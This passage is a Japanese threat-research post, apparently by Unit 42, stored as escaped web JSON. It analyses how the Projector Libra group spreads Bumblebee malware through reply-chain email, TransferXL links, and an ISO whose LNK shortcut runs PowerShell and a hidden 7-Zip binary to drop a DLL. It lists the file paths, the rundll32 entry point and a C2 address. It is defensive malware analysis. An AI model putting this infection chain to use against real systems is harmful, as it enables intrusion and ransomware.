\u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3"}]},{"@type":"WebSite","@id":"https:\/\/unit42.paloaltonetworks.com\/#website","url":"https:\/\/unit42.paloaltonetworks.com\/","name":"Unit 42","description":"Palo Alto Networks","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/unit42.paloaltonetworks.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ja"},{"@type":"Person","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/66a2d5ad3475220e098802b8b82a6b5b","name":"Brad Duncan","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/image\/4408571da084e452077209da810f700c","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2017\/09\/Duncan-bio-picture-1-copy-150x150.jpg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2017\/09\/Duncan-bio-picture-1-copy-150x150.jpg","caption":"Brad Duncan"},"url":"https:\/\/unit42.paloaltonetworks.com\/ja\/author\/bduncan\/"}]}},"_links":{"self":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/124401","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/users\/35"}],"replies":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/comments?post=124401"}],"version-history":[{"count":15,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/124401\/revisions"}],"predecessor-version":[{"id":124416,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/124401\/revisions\/124416"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media\/134228"}],"wp:attachment":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media?parent=124401"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/categories?post=124401"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/tags?post=124401"},{"taxonomy":"product_categories","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/product_categories?post=124401"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/coauthors?post=124401"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u300cProjector Libra\u300d\u306e\u624b\u53e3<\/a>
\n\u30e1\u30fc\u30eb\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u4f8b<\/a>
\n\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u611f\u67d3\u5f8c\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/a>
\n\u7d50\u8ad6<\/a>
\nIoC<\/a>
\n\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/a><\/p>\n
<\/a>BazarLoader\u306e\u5f8c\u7d99\u300cBumblebee\u300d<\/h2>\nBumblebee<\/a>\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u30012022\u5e742\u6708\u306bBazarLoader\u306e\u5f8c\u7d99\u3068\u3057\u3066\u767b\u5834\u3057\u307e\u3057\u305f<\/a>\u3002\u4ee5\u964d\u3001\u305d\u308c\u307e\u3067BazarLoader\u3092\u62e1\u6563\u3057\u3066\u3044\u305f\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306f\u3001\u4ee3\u308f\u308a\u306bBumblebee\u3092\u62e1\u6563\u3059\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n2020\u5e744\u6708\u306b\u306fBumblebee\u306e\u524d\u8eab\u304c\u521d\u3081\u3066\u89b3\u6e2c\u3055\u308c\u3066\u304a\u308a\u3001Trickbot\u306e\u5f71\u306e\u958b\u767a\u8005\u304c\u65b0\u3057\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u300cBazarBackdoor\u300d\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u306e\u304c\u3053\u306e\u6642\u671f\u3067\u3059<\/a>\u3002\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30ed\u30fc\u30c0\u30fc\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306fBazarLoader\u3068\u547c\u3070\u308c\u30012020\u5e74\u304b\u30892021\u5e74\u3092\u901a\u3058\u3066\u5f0a\u793e\u306e\u8105\u5a01\u6982\u6cc1\u306b\u304a\u3044\u3066\u8981\u6ce8\u610f\u306e\u8105\u5a01\u306e1\u3064\u3067\u3057\u305f\u3002<\/p>\n2021\u5e74\u590f\u306b\u62e1\u6563\u304c\u30d4\u30fc\u30af\u306b\u9054\u3057\u305fBazarLoader\u306f\u3001\u5c11\u306a\u304f\u3068\u30823\u3064\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u3088\u3063\u3066\u305d\u306e\u30b5\u30f3\u30d7\u30eb\u306e\u5927\u534a\u304c\u914d\u5e03\u3055\u308c\u307e\u3057\u305f<\/a>\u3002\u305d\u308c\u3089\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\/\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001TA551 (Shathak)\u3001TA578 (Contact Forms\/Stolen Images Evidence)\u3001\u304a\u3088\u3073\u300cBazarCall<\/a>\u300d\u3068\u547c\u3070\u308c\u308b\u30b3\u30fc\u30eb\u30bb\u30f3\u30bf\u30fc\u3092\u4f7f\u3063\u305f\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u3059\u3002<\/p>\nBazarLoader\u306f2022\u5e742\u6708\u307e\u3067\u6d3b\u52d5\u304c\u898b\u3089\u308c\u307e\u3057\u305f\u304c\u3001\u305d\u308c\u4ee5\u964d\u65b0\u305f\u306b\u4f5c\u3089\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u306f\u767a\u898b\u3055\u308c\u3066\u3044\u307e\u305b\u3093<\/a>\u30022022\u5e743\u6708\u4ee5\u964d\u3001BazarLoader\u3092\u62e1\u6563\u3057\u3066\u3044\u305fProjector Libra<\/a>\u306a\u3069\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001\u4ee3\u308f\u308a\u306b\u300cBumblebee\u300d\u3068\u3044\u3046\u65b0\u3057\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3092\u914d\u5e03\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304c\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092Bumblebee\u3068\u547c\u3076\u3088\u3046\u306b\u306a\u3063\u305f\u306e\u306f\u3001\u611f\u67d3\u5f8c\u306eHTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3067\u751f\u6210\u3055\u308c\u308bUser-Agent\u6587\u5b57\u5217\u306b\u300cbumblebee\u300d\u304c\u4f7f\u308f\u308c\u308b\u305f\u3081\u3067\u3059\u3002<\/p>\nTA578\u306a\u3069\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001\u304b\u3064\u3066BazarLoader\u307e\u305f\u306fIcedID (Bokbot)\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u3044\u305a\u308c\u304b\u3092\u62e1\u6563<\/a>\u3057\u3066\u3044\u307e\u3057\u305f\u304c\u30012022\u5e743\u6708\u4ee5\u964d\u3001BazarLoader\u306f\u914d\u5e03\u3057\u306a\u304f\u306a\u308a\u307e\u3057\u305f\u3002\u305f\u3068\u3048\u3070\u3001TA578\u304c\u73fe\u5728\u914d\u5e03\u3057\u3066\u3044\u308b\u306e\u306f\u3001Bumblebee<\/a>\u304bIcedID<\/a>\u306e\u3044\u305a\u308c\u304b\u3067\u3059\u3002<\/p>\n\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u62e1\u6563\u30d1\u30bf\u30fc\u30f3\u304b\u3089\u3001BazarLoader\u306e\u914d\u5e03\u304c\u6b62\u307e\u308b\u4e00\u65b9\u3067Bumblebee\u306e\u62e1\u6563\u306f\u7d9a\u3044\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u3066\u3044\u307e\u3059\u3002\u305d\u308c\u306b\u306fCobalt Strike\u306a\u3069\u306e\u30d5\u30a9\u30ed\u30fc\u30a2\u30c3\u30d7\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u542b\u307e\u308c\u3001\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u611f\u67d3\u306b\u3064\u306a\u304c\u308b\u6050\u308c\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n
<\/a>\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u300cProjector Libra\u300d\u306e\u624b\u53e3<\/h2>\nGoogle\u306eThreat Analysis Group (TAG)\u304c\u4ee5\u524d\u306b\u3053\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306e\u653b\u6483\u30c1\u30a7\u30fc\u30f3\u306e\u5168\u8c8c\u3092\u660e\u3089\u304b\u306b\u3057\u307e\u3057\u305f\u304c<\/a>\u3001\u672c\u7a3f\u3067\u53d6\u308a\u4e0a\u3052\u308b\u4e8b\u4f8b\u3067\u306f\u3001\u6700\u521d\u306b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u6a19\u7684\u3068\u3055\u308c\u305f\u88ab\u5bb3\u8005\u306b\u9023\u7d61\u3092\u3068\u308b\u3068\u3053\u308d\u304b\u3089\u59cb\u307e\u308a\u307e\u3059\u3002<\/p>\n![\"Projector]()
\u56f31. \u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306e\u4e00\u9023\u306e\u30a4\u30d9\u30f3\u30c8\u3002<\/figcaption><\/figure>\n\u88ab\u5bb3\u8005\u304c\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306b\u8fd4\u4fe1\u3059\u308b\u3068\u3001Projector Libra\u306f\u300c\u305d\u306e\u4ef6\u306b\u95a2\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u5171\u6709\u3059\u308b\u305f\u3081\u3001\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u304b\u3089\u5225\u9014\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3057\u305f\u300d\u3068\u8fd4\u4fe1\u3057\u3066\u304d\u307e\u3059\u3002\u6b21\u306b\u88ab\u5bb3\u8005\u306f\u5f53\u8a72\u306e\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u304c\u751f\u6210\u3057\u305f\u30e1\u30fc\u30eb\u3092\u53d7\u4fe1\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30e1\u30fc\u30eb\u306b\u306f\u3001\u5148\u8ff0\u306eProjector Libra\u304b\u3089\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u3067\u8a00\u53ca\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306b\u898b\u305b\u304b\u3051\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30db\u30b9\u30c8\u5148\u30ea\u30f3\u30af\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
2022\u5e74\u4ee5\u964d\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u306fISO\u30a4\u30e1\u30fc\u30b8\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30a4\u30e1\u30fc\u30b8\u306f\u8106\u5f31\u306aWindows\u30db\u30b9\u30c8\u3078\u306e\u611f\u67d3\u3092\u76ee\u7684\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306eISO\u30a4\u30e1\u30fc\u30b8\u306b\u306fWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u3001\u305d\u306e\u306a\u304b\u3067\u96a0\u3055\u308c\u305fBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u5b9f\u884c\u3055\u308c\u308b\u3088\u3046\u8a2d\u8a08\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u3001ISO\u30a4\u30e1\u30fc\u30b8\u306bBumblebee\u306e\u96a0\u3057DLL\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u3059\u308bWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8(.LNK\u30d5\u30a1\u30a4\u30eb)\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002<\/p>\n
\u3053\u306e\u307b\u304b\u3001ISO\u30a4\u30e1\u30fc\u30b8\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6(.7Z\u30d5\u30a1\u30a4\u30eb)\u5185\u306b\u683c\u7d0d\u3059\u308b\u5f62\u3067Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u5834\u5408\u3082\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u3088\u3046\u306a\u30b1\u30fc\u30b9\u3067\u306f\u3001LNK\u30d5\u30a1\u30a4\u30eb\u306b\u3088\u3063\u30667-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3\u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u96a0\u3057\u30b3\u30d4\u30fc\u304c\u5b9f\u884c\u3055\u308c\u3001\u305d\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7Z\u30d5\u30a1\u30a4\u30eb\u304b\u3089Bumblebee\u304c\u62bd\u51fa\u3055\u308c\u307e\u3059\u3002<\/p>\n
Active Directory (AD)\u74b0\u5883\u3067\u306f\u3001\u6700\u521d\u306eBumblebee\u306e\u611f\u67d3\u304cCobalt Strike\u306e\u611f\u67d3\u3078\u3068\u767a\u5c55\u3057\u307e\u3059\u3002\u653b\u6483\u8005\u306fCobalt Strike\u3092\u4f7f\u3063\u3066\u88ab\u5bb3\u74b0\u5883\u3092\u30de\u30c3\u30d4\u30f3\u30b0\u3057\u307e\u3059\u3002\u305d\u306e\u7d50\u679c\u3001\u6a19\u7684\u306e\u4fa1\u5024\u304c\u9ad8\u3044\u3053\u3068\u304c\u308f\u304b\u308c\u3070\u3001\u653b\u6483\u8005\u304c\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u30e1\u30f3\u30c8(\u4fb5\u5165\u5f8c\u306e\u6a2a\u5c55\u958b)\u3092\u8a66\u307f\u3001Conti<\/a>\u3084Diavol<\/a>\u3068\u3044\u3063\u305f\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3092\u30c9\u30ed\u30c3\u30d7\u3057\u307e\u3059\u3002<\/p>\n<\/a>\u30e1\u30fc\u30eb\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u4f8b<\/h2>\n\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306e\u6700\u521d\u306e\u30a4\u30d9\u30f3\u30c8\u306f\u30012022\u5e745\u67085\u65e5\u306bProjector Libra\u304b\u3089\u9001\u4fe1\u3055\u308c\u305f\u6700\u521d\u306e\u30e1\u30fc\u30eb\u3067\u3059\u3002\u7c73\u56fd\u306e\u5730\u5143\u30ac\u30b9\u4f1a\u793e\u306b\u52e4\u3081\u308bAndres\u3068\u3044\u3046\u540d\u306e\u5f93\u696d\u54e1\u306b\u306a\u308a\u3059\u307e\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n
\u56f32\u306b\u3001\u3053\u306e\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n![\"2022\u5e745\u67085\u65e5\u306bProjector]()
\u56f32. \u3084\u308a\u3068\u308a\u3092\u8a66\u307f\u308bProjector Libra\u304b\u3089\u306e\u30e1\u30fc\u30eb\u3002<\/figcaption><\/figure>\n\u4e0a\u306e\u56f32\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u306b\u88ab\u5bb3\u8005\u304c\u8fd4\u4fe1\u3059\u308b\u3068\u3001Projector Libra\u306f\u6b21\u306e\u56f33\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u3067\u8fd4\u4fe1\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8fd4\u4fe1\u306b\u306f\u3001\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092TransferXL<\/a>\u304b\u3089\u5225\u30e1\u30fc\u30eb\u3067\u9001\u4fe1\u3057\u305f\u3068\u66f8\u304b\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n![\"\u88ab\u5bb3\u8005\u30e1\u30fc\u30eb\u304b\u3089\u56f32\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u3078\u306e\u8fd4\u4fe1\u3092\u53d7\u3051\u53d6\u308b\u3068\u3001Projector]()
\u56f33. \u88ab\u5bb3\u8005\u30e1\u30fc\u30eb\u304c\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306b\u8fd4\u4fe1\u3057\u305f\u5f8c\u306eProjector Libra\u304b\u3089\u306e\u8fd4\u4fe1\u3002<\/figcaption><\/figure>\nTransferXL\u306f\u7121\u6599\u30d7\u30e9\u30f3\u306e\u3042\u308b\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u3001Projector Libra\u306e\u3088\u3046\u306a\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7\u306b\u3088\u3063\u3066\u983b\u7e41\u306b\u60aa\u7528\u3055\u308c\u308b\u3001\u6570\u3042\u308b\u7121\u6599\u30d7\u30e9\u30f3\u4ed8\u304d\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u306e1\u3064\u3067\u3059\u3002\u305d\u308c\u3089\u306eTransferXL\u306eURL\u306f1\u9031\u9593\u3067\u6709\u52b9\u671f\u9650\u304c\u5207\u308c\u308b\u305f\u3081\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304b\u3089\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u96a0\u3059\u306e\u306b\u597d\u90fd\u5408\u3068\u3044\u3048\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u56f34\u306f\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u5171\u6709\u3059\u308b\u305f\u3081\u306e\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306e\u30e1\u30fc\u30eb\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n![\"Projector]()
\u56f34. Projector Libra\u304b\u3089\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u5171\u6709\u3059\u308b\u305f\u3081\u306eTransferXL\u306b\u3088\u3063\u3066\u751f\u6210\u3055\u308c\u305f\u30e1\u30fc\u30eb\u3002<\/figcaption><\/figure>\n<\/a>\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u611f\u67d3\u5f8c\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/h2>\nTransferXL\u304b\u3089\u5171\u6709\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306f\u5727\u7e2e\u3055\u308c\u3001ZIP\u30a2\u30fc\u30ab\u30a4\u30d6\u3068\u3057\u3066\u9001\u4fe1\u3055\u308c\u307e\u3059\u3002\u56f35\u306f\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306eURL\u304cWeb\u30d6\u30e9\u30a6\u30b6\u3067\u958b\u304b\u308c\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u308b\u6d41\u308c\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n![\"\u3053\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306eURL\u304cWeb\u30d6\u30e9\u30a6\u30b6\u3067\u958b\u304b\u308c\u3001Projector]()
\u56f35. Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u9001\u4fe1\u3059\u308bTransferXL\u306eURL\u3002<\/figcaption><\/figure>\n\u53d7\u4fe1\u8005\u306fTransferXL\u306eZIP\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089ISO\u30d5\u30a1\u30a4\u30eb\u3092\u62bd\u51fa\u3057\u307e\u3059\u3002Microsoft Windows\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u307b\u3068\u3093\u3069\u306eGUI\u30d9\u30fc\u30b9\u306e\u30c7\u30b9\u30af\u30c8\u30c3\u30d7\u74b0\u5883\u3067\u306f\u3001ISO\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30d6\u30eb\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u305d\u308c\u304c\u65b0\u3057\u3044\u30c9\u30e9\u30a4\u30d6\u3068\u3057\u3066\u30de\u30a6\u30f3\u30c8\u3055\u308c\u307e\u3059\u3002Windows 10\u3067\u306f\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fISO\u306f\u3001\u56f36\u306eDVD\u30c9\u30e9\u30a4\u30d6E:\u3068\u540c\u69d8\u306bDVD\u30c9\u30e9\u30a4\u30d6\u3068\u3057\u3066\u30de\u30a6\u30f3\u30c8\u3055\u308c\u307e\u3059\u3002<\/p>\n![\"\u3053\u306e\u56f3\u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u542b\u307e\u308c\u305fzip\u5f62\u5f0f\u306e\u30d5\u30a9\u30eb\u30c0\u304b\u3089\u3001ISO\u30d5\u30a1\u30a4\u30eb\u3001\u305d\u3057\u3066ISO\u306e\u5185\u5bb9(Windows]()
\u56f36. \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fISO\u306fWIndows 10\u3067DVD\u30c9\u30e9\u30a4\u30d6E:\u3068\u3057\u3066\u30de\u30a6\u30f3\u30c8\u3055\u308c\u308b\u3002<\/figcaption><\/figure>\n\u4e0a\u306e\u56f36\u306e\u3088\u3046\u306b\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fISO\u30d5\u30a1\u30a4\u30eb\u306b\u306fAttachments.lnk<\/span>\u3068\u3044\u3046\u540d\u524d\u306eWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u304c\u542b\u307e\u308c\u307e\u3059\u3002Microsoft Windows\u3067\u306f\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30fc\u30e9\u30fc\u3067\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u304c\u8868\u793a\u3055\u308c\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3057\u3066\u3044\u3066\u3082\u3001.lnk<\/span>\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u306f\u8868\u793a\u3055\u308c\u307e\u305b\u3093\u3002<\/p>\nAttachments.lnk<\/span>\u306b\u3088\u3063\u3066\u30017za.exe<\/span>\u3068\u3044\u3046\u540d\u524d\u306e7-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3 \u30b3\u30f3\u30bd\u30fc\u30eb \u30d5\u30a1\u30a4\u30eb\u306e\u30b3\u30d4\u30fc\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306ePowerShell\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u4e0a\u306e\u56f36\u306f\u3001Attachments.lnk<\/span>\u306ePowerShell\u30b3\u30de\u30f3\u30c9\u5168\u4f53\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n7za.exe<\/span>\u306b\u3088\u3063\u3066\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305farchive.7z<\/span>\u3068\u3044\u3046\u540d\u524d\u306e7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u62bd\u51fa\u3055\u308c\u307e\u3059\u30027za.exe<\/span>\u3068archive.7z<\/span>\u306f\u3069\u3061\u3089\u3082\u975e\u8868\u793a\u3067\u3059\u304c\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30fc\u30e9\u30fc\u3067\u96a0\u3057\u30d5\u30a1\u30a4\u30eb\u304c\u8868\u793a\u3055\u308c\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3059\u308c\u3070\u8868\u793a\u3067\u304d\u307e\u3059\u3002<\/p>\n\u4ee5\u4e0b\u306e\u56f37\u306e\u3088\u3046\u306b\u3001\u62bd\u51fa\u3057\u305fBumblebee DLL\u30d5\u30a1\u30a4\u30eb\u306fC:\\ProgramData\\19a.dll<\/span>\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u30a8\u30f3\u30c8\u30ea\u30dd\u30a4\u30f3\u30c8\u3068\u3057\u3066rundll32<\/span>\u3068oxgdXPSGPw<\/span>\u3092\u4f7f\u3063\u3066\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n![\"\u62bd\u51fa\u3057\u305fBumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u306fC:\\ProgramData\\19a.dll\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u56f3\u3067\u306f\u3001Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u5927\u304d\u306a\u8d64\u3044\u77e2\u5370\u3067\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u3002]()
\u56f37 \u62bd\u51fa\u3057\u305fBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306eDLL\u30d5\u30a1\u30a4\u30eb\u306f\u30c7\u30a3\u30b9\u30af\u306b\u4fdd\u5b58\u3055\u308c\u308b\u3002<\/figcaption><\/figure>\n\u3053\u306e\u611f\u67d3\u3067\u751f\u6210\u3055\u308c\u308b\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306f\u3059\u3079\u3066HTTPS\u3067\u3059\u3002\u4ee5\u4e0b\u306e\u56f38\u306f\u3001\u3053\u306e\u611f\u67d3\u306b\u4f7f\u308f\u308c\u305fTransferXL URL\u3092Wireshark\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u305f\u7d50\u679c\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002ISO\u304c\u30de\u30a6\u30f3\u30c8\u3055\u308c\u3001Bumblebee\u304c\u5b9f\u884c\u3055\u308c\u308b\u3068\u3001Bumblebee\u306eHTTPS C2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u304c54.38.139[.]20:443<\/span>\u3067\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n![\"Wireshark\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u305f\u611f\u67d3\u30c8\u30e9\u30d5\u30a3\u30c3\u30af]()
